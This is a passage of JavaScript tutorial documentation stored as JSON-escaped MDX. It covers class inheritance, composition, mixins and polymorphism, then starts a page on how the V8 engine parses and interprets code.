and `extends` are **syntactic sugar** over JavaScript's prototype-based inheritance. When you write `class Warrior extends Character`, JavaScript is really setting up a prototype chain behind the scenes.\n\n```javascript\n// What you write (ES6 class syntax)\nclass Character {\n  constructor(name) {\n    this.name = name\n  }\n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\n// Note: In this example, Warrior does NOT override attack()\n// This lets us see how the prototype chain lookup works\nclass Warrior extends Character {\n  constructor(name) {\n    super(name)\n    this.rage = 0\n  }\n  \n  // Warrior-specific method (not on Character)\n  battleCry() {\n    return `${this.name} roars!`\n  }\n}\n\n// What JavaScript actually creates (simplified)\n// Warrior.prototype.__proto__ === Character.prototype\n```\n\nWhen you call `warrior.attack()`, JavaScript walks up the prototype chain:\n1. Looks for `attack` on the `warrior` instance itself — not found\n2. Looks on `Warrior.prototype` — not found (Warrior didn't override it)\n3. Follows the chain to `Character.prototype` — **found!** Executes it\n\nThis is why inheritance \"just works\" — methods defined on parent classes are automatically available to child instances through the prototype chain.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                          PROTOTYPE CHAIN                                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   warrior (instance)                                                     │\n│   ┌─────────────────┐                                                   │\n│   │ name: \"Conan\"   │                                                   │\n│   │ rage: 0         │                                                   │\n│   │ [[Prototype]] ──┼──┐                                                │\n│   └─────────────────┘  │                                                │\n│                        ▼                                                │\n│   Warrior.prototype    ┌─────────────────┐                              │\n│                        │ battleCry()     │                              │\n│                        │ constructor     │                              │\n│                        │ [[Prototype]] ──┼──┐                           │\n│                        └─────────────────┘  │                           │\n│                                             ▼                           │\n│   Character.prototype  ┌─────────────────┐                              │\n│                        │ attack()        │ ← Found here!                │\n│                        │ constructor     │                              │\n│                        │ [[Prototype]] ──┼──► Object.prototype          │\n│                        └─────────────────┘                              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n**Rule of Thumb:** Use ES6 `class` syntax for cleaner, more readable code. Understand prototypes for debugging and advanced patterns. For a deep dive, see our [Object Creation & Prototypes](/concepts/object-creation-prototypes) guide.\n</Tip>\n\n---\n\n## Composition vs Inheritance\n\nInheritance is powerful, but it's not always the right tool. There's a famous saying in programming:\n\n> \"You wanted a banana but got a gorilla holding the banana and the entire jungle.\"\n\nThis is the **Gorilla-Banana Problem** — when you inherit from a class, you inherit *everything*, even the stuff you don't need.\n\n### When Inheritance Goes Wrong\n\n```javascript\n// Inheritance nightmare — deep, rigid hierarchy\nclass Animal { }\nclass Mammal extends Animal { }\nclass WingedMammal extends Mammal { }\nclass Bat extends WingedMammal { }\n\n// Oh no! Now we need a FlyingFish...\n// Fish aren't mammals! Do we create another branch?\n// What about a Penguin (bird that can't fly)?\n\n// The hierarchy becomes fragile and hard to change\n```\n\n### The \"IS-A\" vs \"HAS-A\" Test\n\n| Question | If Yes... | Example |\n|----------|-----------|---------|\n| Is a Warrior **a type of** Character? | Use inheritance | `class Warrior extends Character` |\n| Does a Character **have** inventory? | Use composition | `this.inventory = new Inventory()` |\n\n### Composition: Building with \"HAS-A\"\n\nInstead of inheriting behavior, you **compose** objects from smaller, reusable pieces:\n\n<Tabs>\n  <Tab title=\"Inheritance Approach\">\n    ```javascript\n    // Rigid hierarchy — what if we need a flying warrior?\n    class Character { }\n    class FlyingCharacter extends Character {\n      fly() { return `${this.name} flies!` }\n    }\n    class MagicCharacter extends Character {\n      castSpell() { return `${this.name} casts!` }\n    }\n    // Can't have a character that BOTH flies AND casts!\n    ```\n  </Tab>\n  <Tab title=\"Composition Approach\">\n    ```javascript\n    // Flexible behaviors — mix and match!\n    const canFly = (state) => ({\n      fly() { return `${state.name} soars through the sky!` }\n    })\n    \n    const canCast = (state) => ({\n      castSpell(spell) { \n        return `${state.name} casts ${spell}!` \n      }\n    })\n    \n    const canFight = (state) => ({\n      attack() { return `${state.name} attacks!` }\n    })\n    \n    // Create a flying mage — compose the behaviors you need!\n    function createFlyingMage(name) {\n      const state = { name, health: 100, mana: 50 }\n      return {\n        ...state,\n        ...canFly(state),\n        ...canCast(state),\n        ...canFight(state)\n      }\n    }\n    \n    const merlin = createFlyingMage(\"Merlin\")\n    console.log(merlin.fly())           // \"Merlin soars through the sky!\"\n    console.log(merlin.castSpell(\"Ice\")) // \"Merlin casts Ice!\"\n    console.log(merlin.attack())         // \"Merlin attacks!\"\n    ```\n  </Tab>\n</Tabs>\n\n### When to Use Each\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     INHERITANCE vs COMPOSITION                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Use INHERITANCE when:              Use COMPOSITION when:               │\n│   ─────────────────────              ────────────────────                │\n│                                                                          │\n│   • Clear \"IS-A\" relationship        • \"HAS-A\" relationship              │\n│     (Warrior IS-A Character)           (Character HAS inventory)         │\n│                                                                          │\n│   • Child uses MOST of parent's      • Only need SOME behaviors          │\n│     functionality                                                        │\n│                                                                          │\n│   • Hierarchy is shallow             • Behaviors need to be mixed        │\n│     (2-3 levels max)                   freely                            │\n│                                                                          │\n│   • Relationships are stable         • Requirements change frequently    │\n│     and unlikely to change                                               │\n│                                                                          │\n│   • You control the parent class     • Inheriting from 3rd party code    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**The Rule of Thumb:** \"Favor composition over inheritance.\" Start with composition. Only use inheritance when you have a clear, stable \"IS-A\" relationship and the child truly needs most of the parent's behavior.\n</Warning>\n\n---\n\n## Mixins: Sharing Behavior Without Inheritance\n\n**Mixins** provide a way to add functionality to classes without using inheritance. They're like a toolkit of behaviors you can \"mix in\" to any class.\n\n### Basic Mixin Pattern\n\n```javascript\n// Define behaviors as objects\nconst Swimmer = {\n  swim() {\n    return `${this.name} swims through the water!`\n  }\n}\n\nconst Flyer = {\n  fly() {\n    return `${this.name} soars through the sky!`\n  }\n}\n\nconst Walker = {\n  walk() {\n    return `${this.name} walks on land!`\n  }\n}\n\n// A base class\nclass Animal {\n  constructor(name) {\n    this.name = name\n  }\n}\n\n// Mix behaviors into classes as needed\nclass Duck extends Animal { }\nObject.assign(Duck.prototype, Swimmer, Flyer, Walker)\n\nclass Fish extends Animal { }\nObject.assign(Fish.prototype, Swimmer)\n\nclass Eagle extends Animal { }\nObject.assign(Eagle.prototype, Flyer, Walker)\n\n// Use them!\nconst donald = new Duck(\"Donald\")\nconsole.log(donald.swim())  // \"Donald swims through the water!\"\nconsole.log(donald.fly())   // \"Donald soars through the sky!\"\nconsole.log(donald.walk())  // \"Donald walks on land!\"\n\nconst nemo = new Fish(\"Nemo\")\nconsole.log(nemo.swim())    // \"Nemo swims through the water!\"\n// nemo.fly()               // ❌ Error: fly is not a function\n```\n\n### Functional Mixin Pattern\n\nA cleaner approach uses functions that take a class and return an enhanced class:\n\n```javascript\n// Mixins as functions that enhance classes\nconst withLogging = (Base) => class extends Base {\n  log(message) {\n    console.log(`[${this.name}]: ${message}`)\n  }\n}\n\nconst withTimestamp = (Base) => class extends Base {\n  getTimestamp() {\n    return new Date().toISOString()\n  }\n}\n\n// Apply mixins by wrapping the class\nclass Character {\n  constructor(name) {\n    this.name = name\n  }\n}\n\n// Stack multiple mixins!\nclass LoggedCharacter extends withTimestamp(withLogging(Character)) {\n  doAction() {\n    this.log(`Action performed at ${this.getTimestamp()}`)\n  }\n}\n\nconst hero = new LoggedCharacter(\"Aragorn\")\nhero.doAction()  // \"[Aragorn]: Action performed at 2024-01-15T...\"\n```\n\n### When to Use Mixins\n\n| Use Case | Example |\n|----------|---------|\n| Cross-cutting concerns | Logging, serialization, event handling |\n| Multiple behaviors needed | A class that needs swimming AND flying |\n| Third-party class extension | Adding methods to classes you don't control |\n| Avoiding deep hierarchies | Instead of `FlyingSwimmingWalkingAnimal` |\n\n<Warning>\n**Mixin Gotchas:**\n- **Name collisions**: If two mixins define the same method, one overwrites the other\n- **\"this\" confusion**: Mixins must work with whatever `this` they're mixed into\n- **Hidden dependencies**: Mixins might expect certain properties to exist\n- **Debugging difficulty**: Hard to trace where methods come from\n</Warning>\n\n---\n\n## Common Mistakes\n\n### 1. Forgetting to Call `super()` in Constructor\n\n```javascript\n// ❌ WRONG — ReferenceError!\nclass Warrior extends Character {\n  constructor(name) {\n    this.rage = 0  // Error: must call super first!\n    super(name)\n  }\n}\n\n// ✓ CORRECT — super() first, always\nclass Warrior extends Character {\n  constructor(name) {\n    super(name)    // FIRST!\n    this.rage = 0  // Now this is safe\n  }\n}\n```\n\n### 2. Using `this` Before `super()`\n\n```javascript\n// ❌ WRONG — Can't use 'this' until super() is called\nclass Mage extends Character {\n  constructor(name, mana) {\n    this.mana = mana  // ReferenceError!\n    super(name)\n  }\n}\n\n// ✓ CORRECT\nclass Mage extends Character {\n  constructor(name, mana) {\n    super(name)\n    this.mana = mana  // Works now!\n  }\n}\n```\n\n### 3. Deep Inheritance Hierarchies\n\n```javascript\n// ❌ BAD — Too deep, too fragile\nclass Entity { }\nclass LivingEntity extends Entity { }\nclass Animal extends LivingEntity { }\nclass Mammal extends Animal { }\nclass Canine extends Mammal { }\nclass Dog extends Canine { }\nclass Labrador extends Dog { }  // 7 levels deep! 😱\n\n// ✓ BETTER — Keep it shallow, use composition\nclass Dog {\n  constructor(breed) {\n    this.breed = breed\n    this.behaviors = {\n      ...canWalk,\n      ...canBark,\n      ...canFetch\n    }\n  }\n}\n```\n\n### 4. Inheriting Just for Code Reuse\n\n```javascript\n// ❌ WRONG — Stack is NOT an Array (violates IS-A)\nclass Stack extends Array {\n  peek() { return this[this.length - 1] }\n}\n\nconst stack = new Stack()\nstack.push(1, 2, 3)\nstack.shift()  // 😱 Stacks shouldn't allow this!\n\n// ✓ CORRECT — Stack HAS-A array (composition)\nclass Stack {\n  #items = []\n  \n  push(item) { this.#items.push(item) }\n  pop() { return this.#items.pop() }\n  peek() { return this.#items[this.#items.length - 1] }\n}\n```\n\n### Inheritance Decision Flowchart\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    SHOULD I USE INHERITANCE?                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    Is it an \"IS-A\" relationship?                                         │\n│    (A Warrior IS-A Character?)                                           │\n│            │                                                             │\n│       YES  │  NO                                                         │\n│            │   └──────► Use COMPOSITION (\"HAS-A\")                        │\n│            ▼                                                             │\n│    Will child use MOST of parent's methods?                              │\n│            │                                                             │\n│       YES  │  NO                                                         │\n│            │   └──────► Use COMPOSITION or MIXINS                        │\n│            ▼                                                             │\n│    Is hierarchy shallow (≤3 levels)?                                     │\n│            │                                                             │\n│       YES  │  NO                                                         │\n│            │   └──────► REFACTOR! Flatten with composition               │\n│            ▼                                                             │\n│       Use INHERITANCE ✓                                                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Classic Interview Questions\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between inheritance and composition?\">\n    **Inheritance** establishes an \"IS-A\" relationship where a child class inherits all properties and methods from a parent class. It creates a tight coupling between classes.\n    \n    **Composition** establishes a \"HAS-A\" relationship where a class contains instances of other classes to reuse their functionality. It provides more flexibility and loose coupling.\n    \n    ```javascript\n    // Inheritance: Warrior IS-A Character\n    class Warrior extends Character { }\n    \n    // Composition: Character HAS-A weapon\n    class Character {\n      constructor() {\n        this.weapon = new Sword()  // HAS-A\n      }\n    }\n    ```\n    \n    **Rule of thumb:** Favor composition for flexibility, use inheritance for true type hierarchies.\n  </Accordion>\n  \n  <Accordion title=\"Explain polymorphism with an example\">\n    **Polymorphism** means \"many forms\" — the ability for different objects to respond to the same method call in different ways.\n    \n    ```javascript\n    class Shape {\n      area() { return 0 }\n    }\n    \n    class Rectangle extends Shape {\n      constructor(w, h) { super(); this.w = w; this.h = h }\n      area() { return this.w * this.h }\n    }\n    \n    class Circle extends Shape {\n      constructor(r) { super(); this.r = r }\n      area() { return Math.PI * this.r ** 2 }\n    }\n    \n    // Polymorphism in action — same method, different results\n    const shapes = [new Rectangle(4, 5), new Circle(3)]\n    shapes.forEach(s => console.log(s.area()))\n    // 20\n    // 28.274...\n    ```\n    \n    The `area()` method works differently based on the actual object type, but we can treat all shapes uniformly.\n  </Accordion>\n  \n  <Accordion title=\"What does the 'super' keyword do in JavaScript?\">\n    `super` has two main uses:\n    \n    1. **`super()`** — Calls the parent class constructor (required in child constructors before using `this`)\n    2. **`super.method()`** — Calls a method from the parent class\n    \n    ```javascript\n    class Parent {\n      constructor(name) { this.name = name }\n      greet() { return `Hello, I'm ${this.name}` }\n    }\n    \n    class Child extends Parent {\n      constructor(name, age) {\n        super(name)  // Call parent constructor\n        this.age = age\n      }\n      \n      greet() {\n        return `${super.greet()} and I'm ${this.age}`  // Call parent method\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Why might deep inheritance hierarchies be problematic?\">\n    Deep hierarchies (more than 3 levels) create several problems:\n    \n    1. **Fragile Base Class Problem**: Changes to a parent class can break many descendants\n    2. **Tight Coupling**: Child classes become dependent on implementation details\n    3. **Inflexibility**: Hard to reuse code outside the hierarchy\n    4. **Complexity**: Difficult to understand and debug method resolution\n    5. **The Gorilla-Banana Problem**: You inherit everything, even what you don't need\n    \n    **Solution:** Keep hierarchies shallow (2-3 levels max) and prefer composition for sharing behavior.\n  </Accordion>\n  \n  <Accordion title=\"How does JavaScript inheritance differ from classical OOP languages?\">\n    JavaScript uses **prototype-based inheritance** rather than class-based:\n    \n    | Classical OOP (Java, C++) | JavaScript |\n    |---------------------------|------------|\n    | Classes are blueprints | \"Classes\" are functions with prototypes |\n    | Objects are instances of classes | Objects inherit from other objects |\n    | Static class hierarchy | Dynamic prototype chain |\n    | Multiple inheritance via interfaces | Single prototype chain (use mixins for multiple) |\n    \n    ES6 `class` syntax is syntactic sugar — under the hood, it's still prototypes:\n    \n    ```javascript\n    class Dog extends Animal { }\n    \n    // Is equivalent to setting up:\n    // Dog.prototype.__proto__ === Animal.prototype\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**Remember these essential points about Inheritance & Polymorphism:**\n\n1. **Inheritance lets child classes reuse parent code** — use `extends` to create class hierarchies\n\n2. **Always call `super()` first in child constructors** — before using `this`\n\n3. **`super.method()` calls the parent's version** — useful for extending rather than replacing behavior\n\n4. **Method overriding = same name, different behavior** — the child's method shadows the parent's\n\n5. **Polymorphism = \"many forms\"** — treat different object types through a common interface\n\n6. **ES6 classes are syntactic sugar over prototypes** — understand prototypes for debugging\n\n7. **\"IS-A\" → inheritance, \"HAS-A\" → composition** — use the right tool for the relationship\n\n8. **The Gorilla-Banana problem is real** — deep hierarchies inherit too much baggage\n\n9. **Favor composition over inheritance** — it's more flexible and maintainable\n\n10. **Keep inheritance hierarchies shallow** — 2-3 levels maximum\n\n11. **Mixins share behavior without inheritance chains** — useful for cross-cutting concerns\n\n12. **`instanceof` checks the entire prototype chain** — `warrior instanceof Character` is `true`\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"1. What happens if you forget to call super() in a child constructor?\">\n    **Answer:** JavaScript throws a `ReferenceError` with the message \"Must call super constructor in derived class before accessing 'this' or returning from derived constructor\".\n    \n    ```javascript\n    class Child extends Parent {\n      constructor() {\n        this.name = \"test\"  // ❌ ReferenceError!\n      }\n    }\n    ```\n    \n    The `super()` call is mandatory because it initializes the parent part of the object, which must happen before the child can add its own properties.\n  </Accordion>\n  \n  <Accordion title=\"2. How does method overriding enable polymorphism?\">\n    **Answer:** Method overriding allows different classes to provide their own implementation of the same method name. This enables polymorphism because code can call that method on any object without knowing its specific type — each object responds appropriately.\n    \n    ```javascript\n    function makeSound(animal) {\n      console.log(animal.speak())  // Works with ANY animal type\n    }\n    \n    class Dog { speak() { return \"Woof!\" } }\n    class Cat { speak() { return \"Meow!\" } }\n    \n    makeSound(new Dog())  // \"Woof!\"\n    makeSound(new Cat())  // \"Meow!\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. When should you prefer composition over inheritance?\">\n    **Answer:** Prefer composition when:\n    \n    - The relationship is \"HAS-A\" rather than \"IS-A\"\n    - You only need some of the parent's functionality\n    - Behaviors need to be mixed freely (e.g., flying + swimming)\n    - Requirements change frequently\n    - You're working with third-party code you don't control\n    - The inheritance hierarchy would exceed 3 levels\n    \n    ```javascript\n    // Use composition: Character HAS abilities\n    class Character {\n      constructor() {\n        this.abilities = [canAttack, canDefend, canHeal]\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. What's a mixin and when would you use one?\">\n    **Answer:** A mixin is a way to add functionality to classes without using inheritance. It's an object (or function) containing methods that can be \"mixed into\" multiple classes.\n    \n    Use mixins for:\n    - Cross-cutting concerns (logging, serialization)\n    - When a class needs behaviors from multiple sources\n    - Avoiding the diamond problem of multiple inheritance\n    \n    ```javascript\n    const Serializable = {\n      toJSON() { return JSON.stringify(this) }\n    }\n    \n    class User { constructor(name) { this.name = name } }\n    Object.assign(User.prototype, Serializable)\n    \n    new User(\"Alice\").toJSON()  // '{\"name\":\"Alice\"}'\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. How can you call a parent's method from an overriding method?\">\n    **Answer:** Use `super.methodName()` to call the parent's version of an overridden method:\n    \n    ```javascript\n    class Parent {\n      greet() { return \"Hello\" }\n    }\n    \n    class Child extends Parent {\n      greet() {\n        const parentGreeting = super.greet()  // \"Hello\"\n        return `${parentGreeting} from Child!`\n      }\n    }\n    \n    new Child().greet()  // \"Hello from Child!\"\n    ```\n    \n    This is useful when you want to extend behavior rather than completely replace it.\n  </Accordion>\n  \n  <Accordion title=\"6. What's the 'IS-A' test for inheritance?\">\n    **Answer:** The \"IS-A\" test determines if inheritance is appropriate by asking: \"Is the child truly a specialized type of the parent?\"\n    \n    - **Passes:** \"A Warrior IS-A Character\" ✓\n    - **Passes:** \"A Dog IS-A Animal\" ✓\n    - **Fails:** \"A Stack IS-A Array\" ✗ (Stack has different behavior)\n    - **Fails:** \"A Car IS-A Engine\" ✗ (Car HAS-A Engine)\n    \n    If it fails the IS-A test, use composition instead. This prevents the Liskov Substitution Principle violations where child instances can't properly substitute for parent instances.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is inheritance in JavaScript?\">\n    Inheritance lets a class (child) reuse code from another class (parent) using the `extends` keyword. The child class inherits all methods and properties from the parent and can add or override them. Under the hood, JavaScript implements this through the prototype chain — the child's prototype links to the parent's prototype, as defined in the ECMAScript specification.\n  </Accordion>\n\n  <Accordion title=\"What is polymorphism in JavaScript?\">\n    Polymorphism means different objects can respond to the same method call in their own way. When a Warrior and a Mage both have an `attack()` method but each behaves differently, that is polymorphism. It lets you treat different object types through a common interface, making code flexible and extensible without type-checking.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between inheritance and composition in JavaScript?\">\n    Inheritance creates \"IS-A\" relationships where child classes extend parents. Composition creates \"HAS-A\" relationships by combining smaller, focused objects. The Gang of Four *Design Patterns* book recommends favoring composition over inheritance because it avoids deep hierarchies, is easier to change, and lets you mix behaviors freely.\n  </Accordion>\n\n  <Accordion title=\"How does the extends keyword work in JavaScript?\">\n    The `extends` keyword sets up the prototype chain so the child class inherits from the parent. It does two things: sets the child's prototype to an object that delegates to the parent's prototype, and ensures `super()` is called in the constructor to initialize the parent's properties. Without `super()`, using `this` in the child constructor throws a ReferenceError.\n  </Accordion>\n\n  <Accordion title=\"What is the Gorilla-Banana problem?\">\n    This term, coined by Joe Armstrong, describes a flaw of deep inheritance: you wanted a banana but got a gorilla holding the banana and the entire jungle. It means that inheriting from a class forces you to inherit everything, including dependencies you do not need. The solution is to favor composition and mixins over deep class hierarchies.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Factories & Classes\" icon=\"hammer\" href=\"/concepts/factories-classes\">\n    Learn the fundamentals of creating objects with factory functions and ES6 classes\n  </Card>\n  <Card title=\"Object Creation & Prototypes\" icon=\"sitemap\" href=\"/concepts/object-creation-prototypes\">\n    Understand the prototype chain that powers JavaScript inheritance\n  </Card>\n  <Card title=\"this, call, apply, bind\" icon=\"bullseye\" href=\"/concepts/this-call-apply-bind\">\n    Master context binding — essential for understanding method inheritance\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"compass-drafting\" href=\"/concepts/design-patterns\">\n    Learn patterns like Strategy and Decorator that use polymorphism\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Classes — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes\">\n    Complete guide to ES6 classes in JavaScript\n  </Card>\n  <Card title=\"extends — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends\">\n    Official documentation for the extends keyword\n  </Card>\n  <Card title=\"super — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super\">\n    How to use super for parent class access\n  </Card>\n  <Card title=\"Inheritance and the prototype chain — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain\">\n    Deep dive into how inheritance really works in JavaScript\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Class Inheritance — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/class-inheritance\">\n    A comprehensive guide to class inheritance with extends and super\n  </Card>\n  <Card title=\"Understanding Classes in JavaScript — DigitalOcean\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/understanding-classes-in-javascript\">\n    Deep exploration of ES6 class syntax and OOP principles\n  </Card>\n\n  <Card title=\"The Gorilla-Banana Problem\" icon=\"newspaper\" href=\"https://www.johndcook.com/blog/2011/07/19/you-wanted-banana/\">\n    Joe Armstrong's famous OOP criticism from \"Coders at Work\" — you wanted a banana but got the whole jungle\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript ES6 Classes and Inheritance\" icon=\"video\" href=\"https://www.youtube.com/watch?v=RBLIm5LMrmc\">\n    Traversy Media's ES6 series covers class syntax and inheritance with clear, practical examples\n  </Card>\n  <Card title=\"Inheritance in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=yXlFR81tDBM\">\n    Detailed walkthrough of inheritance concepts by kudvenkat\n  </Card>\n  <Card title=\"Composition over Inheritance\" icon=\"video\" href=\"https://www.youtube.com/watch?v=wfMtDGfHWpA\">\n    Fun Fun Function explains why composition is often better\n  </Card>\n  <Card title=\"Polymorphism in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=zdovG9cuEBA\">\n    Clear explanation of polymorphism with practical examples\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/javascript-engines.mdx",
    "content": "---\ntitle: \"JavaScript Engines\"\nsidebarTitle: \"JavaScript Engines: How V8 Runs Your Code\"\ndescription: \"Learn how JavaScript engines work. Understand V8's parsing, JIT compilation, hidden classes, inline caching, and garbage collection.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"javascript engines, V8 engine, JIT compilation, hidden classes, garbage collection\"\n---\n\nWhat happens when you run JavaScript code? How does a browser turn `const x = 1 + 2` into something your computer actually executes? When you write a function, what transforms those characters into instructions your CPU understands?\n\n```javascript\nfunction greet(name) {\n  return \"Hello, \" + name + \"!\"\n}\n\ngreet(\"World\")  // \"Hello, World!\"\n```\n\nBehind every line of JavaScript is a **JavaScript engine**. It's the program that reads your code, understands it, and makes it run. The most popular engine is **[V8](https://v8.dev/)**, which powers Chrome, Node.js, Deno, and Electron. Understanding how V8 works helps you write faster code and debug performance issues.\n\n<Info>\n**What you'll learn in this guide:**\n- What a JavaScript engine is and what it does\n- How V8 parses your code and builds an Abstract Syntax Tree\n- How Ignition (interpreter) and TurboFan (compiler) work together\n- What JIT compilation is and why it makes JavaScript fast\n- How hidden classes and inline caching optimize property access\n- How garbage collection automatically manages memory\n- Practical tips for writing engine-friendly code\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you're comfortable with basic JavaScript syntax. Some concepts connect to the [Call Stack](/concepts/call-stack) and [Event Loop](/concepts/event-loop), so reading those first helps!\n</Warning>\n\n---\n\n## What is a JavaScript Engine?\n\nA **JavaScript engine** is a program that executes JavaScript code. It takes the source code you write and converts it into machine code that your computer's processor can run. According to the [V8 blog](https://v8.dev/blog), V8 processes billions of lines of JavaScript daily across Chrome, Node.js, and Electron applications worldwide.\n\nEvery browser has its own JavaScript engine:\n\n| Browser | Engine | Also Used By |\n|---------|--------|--------------|\n| Chrome | **V8** | Node.js, Deno, Electron |\n| Firefox | SpiderMonkey | — |\n| Safari | JavaScriptCore | Bun |\n| Edge | V8 (since 2020) | — |\n\nWe'll focus on **V8** since it's the most widely used engine and powers both browser and server-side JavaScript. As of 2024, Chrome holds roughly 65% of the global browser market share according to [StatCounter](https://gs.statcounter.com/), making V8 by far the most widely deployed JavaScript engine.\n\n<Note>\nAll JavaScript engines implement the [ECMAScript specification](https://tc39.es/ecma262/), which defines how the language should work. That's why JavaScript behaves the same way whether you run it in Chrome, Firefox, or Node.js.\n</Note>\n\n---\n\n## How Does a JavaScript Engine Work?\n\nThink of V8 as a **factory** that manufactures results from your code:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE V8 JAVASCRIPT FACTORY                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  RAW MATERIALS        QUALITY CONTROL        BLUEPRINT                   │\n│  (Source Code)        (Parser)               (AST)                       │\n│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐               │\n│  │ function     │    │  Break into  │    │  Tree of     │               │\n│  │ add(a, b) {  │ ─► │  tokens,     │ ─► │  operations  │               │\n│  │   return a+b │    │  check       │    │  to perform  │               │\n│  │ }            │    │  syntax      │    │              │               │\n│  └──────────────┘    └──────────────┘    └──────┬───────┘               │\n│                                                  │                       │\n│                                                  ▼                       │\n│  ┌───────────────────────────────────────────────────────────────────┐  │\n│  │                      ASSEMBLY LINE                                 │  │\n│  │  ┌─────────────────┐              ┌─────────────────────────┐     │  │\n│  │  │    IGNITION     │              │       TURBOFAN          │     │  │\n│  │  │   (Interpreter) │  ─────────►  │  (Optimizing Compiler)  │     │  │\n│  │  │                 │   \"hot\"      │                         │     │  │\n│  │  │  Steady workers │   code       │  Fast robotic assembly  │     │  │\n│  │  │  Start quickly  │              │  Takes time to set up   │     │  │\n│  │  └─────────────────┘              └─────────────────────────┘     │  │\n│  └───────────────────────────────────────────────────────────────────┘  │\n│                                                                          │\n│                              ▼                                           │\n│                     ┌──────────────┐                                    │\n│                     │    OUTPUT    │                                    │\n│                     │   (Result)   │                                    │\n│                     └──────────────┘                                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's the analogy:\n\n- **Raw materials (source code)**: Your JavaScript files come in as text\n- **Quality control (parser)**: Checks for syntax errors, breaks code into pieces\n- **Blueprint (AST)**: A structured representation of what needs to be built\n- **Assembly line workers (Ignition)**: Start working immediately, steady pace\n- **Robotic automation (TurboFan)**: Takes time to set up, but once running, it's much faster\n\nJust like a factory might start with manual workers and add robots for repetitive tasks, V8 starts interpreting code immediately, then optimizes the parts that run frequently.\n\n---\n\n## How Does V8 Execute Your Code?\n\nWhen you run JavaScript, V8 processes your code through several stages. Let's trace through what happens when V8 executes this code:\n\n```javascript\nfunction add(a, b) {\n  return a + b\n}\n\nadd(1, 2)  // 3\n```\n\n### Step 1: Parsing\n\nFirst, V8 needs to understand your code. The **parser** reads the source text and converts it into a structured format.\n\n<Steps>\n  <Step title=\"Tokenization (Lexical Analysis)\">\n    The code is broken into **tokens**, the smallest meaningful pieces:\n    \n    ```\n    'function' 'add' '(' 'a' ',' 'b' ')' '{' 'return' 'a' '+' 'b' '}' \n    ```\n    \n    Each token is classified: `function` is a keyword, `add` is an identifier, `+` is an operator.\n  </Step>\n  \n  <Step title=\"Building the AST (Syntactic Analysis)\">\n    Tokens are organized into an **Abstract Syntax Tree (AST)**, a tree structure that represents your code's meaning:\n    \n    ```\n    FunctionDeclaration\n    ├── name: \"add\"\n    ├── params: [\"a\", \"b\"]\n    └── body: ReturnStatement\n              └── BinaryExpression\n                  ├── left: Identifier \"a\"\n                  ├── operator: \"+\"\n                  └── right: Identifier \"b\"\n    ```\n    \n    The AST captures *what* your code does, without the original syntax (semicolons, whitespace, etc.).\n  </Step>\n</Steps>\n\n<Tip>\n**See it yourself:** You can explore how JavaScript is parsed using [AST Explorer](https://astexplorer.net/). Paste any JavaScript code and see the resulting tree structure.\n</Tip>\n\n### Step 2: Ignition (The Interpreter)\n\nOnce V8 has the AST, **Ignition** takes over. Ignition is V8's interpreter, introduced in V8 version 5.9 (2017) to replace the older full-codegen baseline compiler. It walks through the AST and generates **bytecode**, a compact representation of your code. As the [V8 documentation](https://v8.dev/docs) explains, bytecode is 25–50% smaller than the equivalent machine code, significantly reducing memory usage.\n\n```\nBytecode for add(a, b):\n  Ldar a1        // Load argument 'a' into accumulator\n  Add a2         // Add argument 'b' to accumulator\n  Return         // Return the accumulator value\n```\n\nIgnition then **executes** this bytecode immediately. No waiting around for optimization. Your code starts running right away.\n\nWhile executing, Ignition also collects **profiling data**:\n- Which functions are called often?\n- What types of values does each variable hold?\n- Which branches of if/else statements are taken?\n\nThis profiling data becomes important for the next step.\n\n### Step 